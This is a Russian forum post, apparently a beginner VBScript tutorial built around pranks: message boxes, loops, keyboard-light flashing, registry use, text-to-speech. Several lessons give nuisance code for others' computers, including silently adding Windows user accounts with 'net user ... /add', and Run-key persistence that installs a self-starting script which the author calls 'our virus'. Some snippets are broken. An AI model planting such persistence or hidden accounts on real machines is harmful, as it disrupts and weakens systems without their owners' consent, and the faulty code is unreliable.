Взрывные идеи

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Взрывные идеи » Visual Basic Script » Основы Visual Basic Script


Основы Visual Basic Script

Сообщений 1 страница 2 из 2

1

Вступление
Всем привет, посетители explosiveideas.webtalk.ru! Не буду делать долгих вступлений.
http://uploads.ru/i/j/s/8/js823.jpg
Думаешь, код такой приблуды будет километровым? Нет!

Вот этот код:

MsgBox "Дверь закрыта. Открыть дверь?",20,"Ошибка"

К тому же, вам не понадобится специальная программа, чтобы делать такие приколы, нужен только блокнот.

Все, чему вы научитесь, будет работать на современных операционных системах, от XP и выше.

В наших уроках я научу вас делать выскакивающие окошки, причем с разным оформлением. Вы научитесь одной строкой открывать дисковод, мигать лампочками на клавиатуре, создавать учетные записи, и еще кучу шуток, и всё это - в блокноте!

___________________---------===============---------___________________

Урок 1. Окошко с сообщением

Итак, покажу, как сделать сообщение на языке VBS

Шаг 1. Создание.

Создадим файл в формате .VBS.

Шаг 1. Если форматы файлов на вашем компьютере видны в названии (Текстовый документ.txt ; Изображение.jpg), то сразу переходим к шагу 2.

Если форматы не видны, то заходим в Мой компьютер. Выбираем пункт «Сервис» (сверху окна).  Затем выбираем закладку «Вид>. Жмем «свойства папки». Там, где написано «Скрывать расширения для зарегистрированных типов файлов» убираем галочку. Создаем текстовый документ, переименовываем его в Название_прикола.vbs

Шаг 2. Программирование.

Открываем наш файл обычным блокнотом.

Сейчас то, что вы ждали…

Пишем этот код строками, как у меня:

MsgBox"Привет всем!",0,"explosiveideas.webtalk.ru"

Получится вот такое окошко:
http://uploads.ru/i/U/9/H/U9HSA.jpg

Шаг 3. Расхлебывание кода.

MsgBox
– Указывает компьютеру, что надо вывести сообщение.

”Привет всем…” – Текст сообщения, должен быть в кавычках. Пишется в самом начале.

,0, - Тип окошка. Пишется без кавычек, но с двух сторон ставятся запятые. Пишется после текста сообщения. Изменяя значения можно получить разные оформления окошка. Попробуем вместо 0 поставить 20. Вот, что получится:
http://uploads.ru/i/V/2/z/V2zlZ.jpg
Если подставить 20+1 (Не 21, а 20+1):
http://uploads.ru/i/h/s/V/hsV8d.jpg
”explosiveideas.webtalk.ru” – название окошка. Пишется в кавычках после текста сообщения и типа окошка.

Вот, вроде бы и все, сообщения клепать научились, поэкспериментируй и на второй урок!

___________________---------===============---------___________________
Урок 2. Цикл

Шаг 1. Создание.

Как создавать файл VBS, посмотри в уроке 1. Создаем файл 1.vbs

Шаг 2. Программирование.

Открываем наш файл.

Пишем этот код строками, как у меня:

do

MsgBox”Привет всем!”,0,”explosiveideas.webtalk.ru”

loop

Сохраните файл и включите.

Получится вот такое окошко:
http://uploads.ru/i/U/9/H/U9HSA.jpg
А теперь попробуйте выключить его.… Ну как? Не получается…

Выключается он довольно просто. Зайдите в диспетчер задач, вкладка процессы. Гасите wscript.exe

Шаг 3. Расхлебывание кода.

Do – начало цикла.

Loop – конец цикла.
Все, что между do и loop – будет бесконечно повторяться.

___________________---------===============---------___________________

Урок 3. Формы

Шаг 1. Создание.

Как создавать файл VBS, посмотри в уроке 1. Создаем файл 1.vbs

Шаг 2. Программирование.

Открываем наш файл.

Пишем этот код строками, как у меня:

UserName=InputBox("Как тебя зовут?","Представься","Вводить имя сюда")

MsgBox "Привет, "&UserName&"",20+6,"CoolGamezz"

Сохраните файл и включите.

Получатся вот такие окна:
http://uploads.ru/i/I/3/X/I3XZQ.jpg
http://uploads.ru/i/9/6/V/96V5H.png
Шаг 3. Расхлебывание кода.

UserName – Имя переменной. Пишется в начале.

UserName=InputBox - переменная UserName будет иметь значение текста, который вводит пользователь.

InputBox() – окошко с формой.

InputBox("Как тебя зовут?") – Создание простого окна с формой, без заголовка.

InputBox("Как тебя зовут?","Представься") – Создание окна с заголовком.

InputBox("Как тебя зовут?","Представься","Вводить имя сюда"
) – Создание окна с заголовком, с текстом в форме (как на скрине).

MsgBox "Привет, "&UserName&"",20+6,"explosiveideas.webtalk.ru"

___________________---------===============---------___________________

Урок 4. Комментарий.

Создаем файл в формате .vbs . В нем прописываем:

MsgBox”Привет всем!”,0,”explosiveideas.webtalk.ru”

rem MsgBox”Привет всем!”,0,”explosiveideas.webtalk.ru”

Сохраните файл и включите.

Выскочит одно окошко.

А теперь уберите из кода слово rem . Сообщение выскочит 2 раза.

Делаем вывод, что все, что идет в строке после слова rem, в коде работать не будет.

Зачем оно надо: если у Вас сложный код и при его тестировании выскакивает ошибка, то можно часть кода "заморозить", вставив rem. Если у вас опять же сложный код, то вы, чтобы не забыть, можете оставлять комментарии.

___________________---------===============---------___________________

Урок 5. Мигалка на клавиатуре.

Сначала выложу код, а потом расскажу, где что.

Set s = CreateObject("Wscript.Shell")
do
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80


wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80

s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{numlock}"


wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{numlock}"
wscript.sleep 80
s.sendkeys"{capslock}"
wscript.sleep 80
s.sendkeys"{scrolllock}"
wscript.sleep 80

Set s = Createobject("Wscript.Shell")

wscript.sleep 80

do, loop

Эти скрипты описаны в моих предыдущих уроках.

Теперь новые.

Set s = CreateObject("Wscript.Shell")
- позволяет осуществить скрипт

s.sendkeys"{scrolllock}" - нажимающаяся кнопка (в нашем случае скролллок. Можно указывать, например esc)

P.S.: Статью писал на ходу, поэтому что-то мог забыть. возникнут вопросы - пишите в комментариях. Отвечу всем

___________________---------===============---------___________________

Урок 6. Учетные записи

Создаем .vbs файл и в нем пишем:

Set S = CreateObject("Wscript.Shell")
s.run"net user Привет! 123 /add", 0

Все, у нас появилась учетная запись "Привет!".

Вы можете вставить кучу таких учетных записей:

Set S = CreateObject("Wscript.Shell")
s.run"net user Привет! 123 /add", 0
s.run"net user Привет! 123 /add",1 
s.run"net user Привет! 123 /add", 2
s.run"net user Привет! 123 /add", 3
s.run"net user Привет! 123 /add", 4
s.run"net user Привет! 123 /add", 0
s.run"net user Привет! 123 /add",1 
s.run"net user Привет! 123 /add", 2
s.run"net user Привет! 123 /add", 3
s.run"net user Привет! 123 /add", 4

Пояснение:

Set S = CreateObject("Wscript.Shell")
- вы уже знаете

s.run"net user - добавить юзера

Привет! - имя юзера

123 - пароль от учетной записи

/add - команда говорит, что учетку надо добавить

4 - картинка учетной записи

___________________---------===============---------___________________

Урок 7. Бешеный флопик.

В этот раз я не буду разъяснять, что в коде значит то и сё. Да и кто будет запоминать?

Короче, способ номер один.

Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub

do
Call Zapadlo("A:\",true)
loop

Тут флопик зажужжит сразу после прямого запуска проги.

Способ номер 2.

Создаем один вбс-ник (с любым именем, его потом можно сразу удалить).

Set FSO=CreateObject("Scripting.FileSystemObject")
FSO.CopyFile "1.vbs", "С:\windows"
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window", "С:\windows"

И наш второй вбс-ник 1.vbs, после запуска первой проги мы его переносим в папку windows.

Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub

do
Call Zapadlo("A:\",true)
loop

Все, теперь после каждого запуска системы флопик начинает реветь.

Спасибо за внимание

___________________---------===============---------___________________

Урок 8. Как с помощью VBS открыть файл.

Как открыть файл скриптом.

Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub
Call Zapadlo("C:\Windows\notepad.exe",true)

В данном случае откроется блокнот.


Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub
Call Zapadlo("C:\Windows\notepad.exe",true)

Call Zapadlo("C:\Windows\notepad.exe",true)

Call Zapadlo("C:\Windows\notepad.exe",true)

Call Zapadlo("C:\Windows\notepad.exe",true)

Call Zapadlo("C:\Windows\notepad.exe",true)

Call Zapadlo("C:\Windows\notepad.exe",true)

___________________---------===============---------___________________

Урок-бонус "Послание от блокнота"
В ходе написания статьи придумал интересный скрипт.
позволяет написать сообщение кому отправить, у человека на компьютере откроется блокнот и напечатается что вы печатали).

Set FSO=createobject("scripting.filesystemobject")
Set WshShell = WScript.CreateObject("WScript.Shell")
Set Men = FSO.CreateTextFile("C:\1.TXT", 8, True)
Men.WriteLine


Set WshShell = WScript.CreateObject("WScript.Shell")
Sub Poslanie(Fuck,Wait)
Set WshShell = WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck)
End Sub
Call Poslanie("C:\1.TXT",true)

Set knopka = CreateObject("Wscript.Shell")

wscript.sleep 500
knopka.sendkeys"{p}"
wscript.sleep 500
knopka.sendkeys"{r}"
wscript.sleep 500
knopka.sendkeys"{i}"
wscript.sleep 500
knopka.sendkeys"{v}"
wscript.sleep 500
knopka.sendkeys"{e}"
wscript.sleep 500
knopka.sendkeys"{t}"
wscript.sleep 500

___________________---------===============---------___________________

Урок 9 "Калькулятор"

Создаем файл .vbs и в нём пишем:

Dim a,b,c
a = inputbox ("Введите первое число ")
b = inputbox ("Введите второе число ")
c = cint(a) + cint(b)


MsgBox ("Ответ: " & c)

В первой строчке мы объявили переменные (a, b, c)

Во второй, третьей и четвертой строчках мы присвоили значения переменным.

Вторая и третья строка "ловят" то, что пишет пользователь.

Четвертая строка складывают значения переменных a и b.

cint(a) и cint(b) - стоят там не просто так. Вот напишите просто a и b. Тогда 111+111 будет 111111.

Вот краткий справочник математических операторов vbs.

+ сложить
- вычесть
* умножить
/ разделить
^ в степень (например, 2 в квадрате будет 2^2)
() скобки (как на математике)
sqr(число) корень, например sqr(9)=3
fix(число) округление, например fix(3,1)=3 или fix(3,8)=4;
 

Ну, собственно и всё. Дополнительные вопросы оставляйте в комментариях.
___________________---------===============---------___________________
Урок 10. Условия

dim webtalk.ru                                               'Объявляем переменную (можно и не объявлять), просто для удобства

webtalk.ru = MsgBox("Показать следующее сообщение?",4,"Показать?") 'Даём значение переменной (webtalk.ru = то, что нажмете)
If webtalk.ru = 6 Then                                    'Если нажали да (начало условия)

MsgBox("Ну показал :)",0,"Доволен?")            ' , то показываем сообщение

else                                                               ' если не нажали нет

                                                                     ' то ничего не показывается

end if                                                             ' конец условия

Таблица нажатых кнопок (подставляйте вместо "6" цифры из таблицы, если хотите изменить условие)

Значение Нажатая кнопка

1 OK

2, 3 Отмена

4 Повторить

5 Игнорировать

6 Дa

7 Нет

Думаю, что понятно.

___________________---------===============---------___________________

Урок 11. Скачивание файла из интернета
Set Download = CreateObject("ObjectFerm")
Set web =Download.GetObject("C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\System.dll", "System.Net.WebClient")
web.DownloadFile "Ссылка к файлу", "c:\куда сохранять"

___________________---------===============---------___________________

Урок 12. Отправка E-mail с помощью VBS

Const EmailFrom = "Ваш ящик"   
Const EmailPassword = "пароль от него"   
   
Const strSmtpServer = "smtp.mail.ru"  ' это почтовый сервер mail.ru
Const EmailTo = "Кому отправить письмо"       
Set objEmail = CreateObject("CDO.Message")
objEmail.AddAttachment "C:\1.txt" 
' Если в вашем письме будет файл, укажите адрес к нему здесь

objEmail.From = EmailFrom
objEmail.To = EmailTo
objEmail.Subject = "Здесь текст заголовка"
objEmail.Textbody = "Текста Вашего письма"
objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = EmailFrom
objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = EmailPassword
objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSmtpServer
objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update

objEmail.Send
WScript.Quit

___________________---------===============---------___________________

Урок 13. Открыть url

Держите скрипт, он открывает сайт через Internet Explorer. Если он не работает, или его вообще нет, то не получится.

on error resume next
Set S = CreateObject ("Wscript.shell")
Set FSO = CreateObject ("Scripting.FileSystemObject")
Set IE = CreateObject ("InternetExplorer.Application")
IE.Visible=1
IE.Navigate "https://explosiveideas.webtalk.ru"
While.Ie.Busy
wscript.sleep 200
wend

___________________---------===============---------___________________

Урок 14. Сочетания клавиш
В уроке 5 "Мигалка на клавиатуре" мы уже разбирали пример нажатия клавиш. Но кому-то этого мало, поэтому я расскажу про сочетания клавиш.

Сильно расписывать, честно говоря мне лень :) . Поэтому я сначала приведу пример скрипта, который 10 раз переключит окно (ALT+TAB), а затем выложу справочные таблицы.

Set s = CreateObject("Wscript.Shell")

wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"
wscript.sleep 40
s.sendkeys"%{TAB}"

Клавиша Код
"BackSpace" {BACKSPACE}, {BS} или {BKSP}
"Break" {BREAK}
"Caps Lock" {CAPSLOCK}
"F1"..."F12" {F1}...{F12}
"Delete" {DELETE} или {DEL}
"End" {END}
"Enter" {ENTER} или ~
"Esc" {ESC}
"Help" {HELP}
"Home" {HOME}
"Insert" {INSERT} или {INS}
"Num Lock" [color=olive]{NUMLOCK}
[/color]"Page Down" {PGDN}
"Page Up" {PGUP}
"Print Screen" {PRTSC}
"Scroll Lock" {SCROLLLOCK}
"Tab" {TAB}
"Стрелка вверх" {UP}
"Стрелка влево" {LEFT}
"Стрелка вниз" {DOWN}
"Стрелка вправо" {RIGHT}  

Для указания клавиш Alt, Shift, Ctrl существуют специальные коды:
Клавиша Код
Shift  +
Ctrl    [color=olive]^
[/color]Alt         %

___________________---------===============---------___________________

Урок 15. Воспроизведение звуков

Set WMP = WScript.CreateObject("MediaPlayer.MediaPlayer","WMP_")
WMP.Open "C:\WINDOWS\Media\Chimes.wav"
WMP.AutoStart = true
WMP.Play
msgbox "Ку-ку :)"

Во второй строке укажите путь к файлу.
Msgbox не знаю зачем тут нужен, но без него не работает)

___________________---------===============---------___________________

Урок 16. Реестр

Для тех,кто не в курсе:
Реестр - это специализированная база данных с информацией о параметрах операционной системы и установленных программных продуктов. При этом программные продукты, согласно Microsoft, должны хранить информацию о своих настройках именно в реестре - иначе приложение просто не получит логотип "Windows Compatible"

'С помощью реестра можно получить полную информацию о настройках ОСьки и оборудования
'Изменить большинство настроек системы и драйверов.

Мы расмотрим базовые возможности vbs с помощью обьекта WScript.Shell

Итак, три метода : RegRead (считывание инфы из реестра), RegWrite (запись веток и параметров в реестр), RegDelete (удаление веток или параметров)
Примеры:

Dim WshShell 'обьявляем переменную
Set WshShell = CreateObject("WScript.Shell") 'Содержит доступ к функциям управления реестром

WshShell.RegWrite "HKEY_CLASSES_ROOT\.MyTest\Test", "Hello", "REG_SZ" 'создаем в ветке HKCR раздел MyTest,параметр Test со значением Hello и типом REG_SZ

sReg = WshShell.RegRead("HKEY_CLASSES_ROOT\.MyTest\Test") 'читаем инфу об этом параметре
MsgBox sReg 'выводим это все в мессагу
WshShell.RegDelete("HKEY_CLASSES_ROOT\.MyTest\Test") 'удаляем наш параметр

Надеюсь, основы понятны. Итак, автозагрузка:

Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\virus"
, "C:\Windows\virus.vbs" 'вот эта запись и прописывает наш вирус(C:\Windows\virus.vbs его местоположение) в ветку HKCU\Software\Microsoft\Windows\CurrentVersion\Run ,которая отвечает за автозагрузку.

Ну если коротко то все.Вообще реестр это мощное оружие у профи,но очень опасная вещица в ручках рядового юзверя=) Эксперементируйте с ним осторожно.Без знаний лучше туда вообще не лезть.

___________________---------===============---------___________________

Урок 17. Говорящий компьютер

Ваш компьютер можно научить общаться. Только в уроке "Послание от блокнота" компьютер печатал фразу, а сейчас он её произнесет.

CreateObject("SAPI.SpVoice").Speak"hello"

Замените фразу hello любой вашей фразой.

Здесь используется стандартная функция преобразования текста в речь (Пункт Речь в Панели Управления).

Фразу могут произносить женский (Мэри) и мужской (Сэм) голоса. У меня мужик, а кто у вас? :)

Программа не понимает русский язык, но вы можете поэкспериментировать со словами, например, preevet. (А какой полигон для нецензурной лексики! :))

Можно сделать бота, который будет с вами общаться. Например, вы пишете ему "Здарова", а он отвечает "preevet". И так далее. Тут главное не полениться и прочитать мои уроки заново (почитайте про формы и условия).

Фантазируйте, с этой фичей можно поприкалываться!

2

Урок 15. Воспроизведение звуков
У меня вопрос, я хочу прикол другу кинуть, но ведь у него путь совсем другой будет, можно как то сделать по другому?


Вы здесь » Взрывные идеи » Visual Basic Script » Основы Visual Basic Script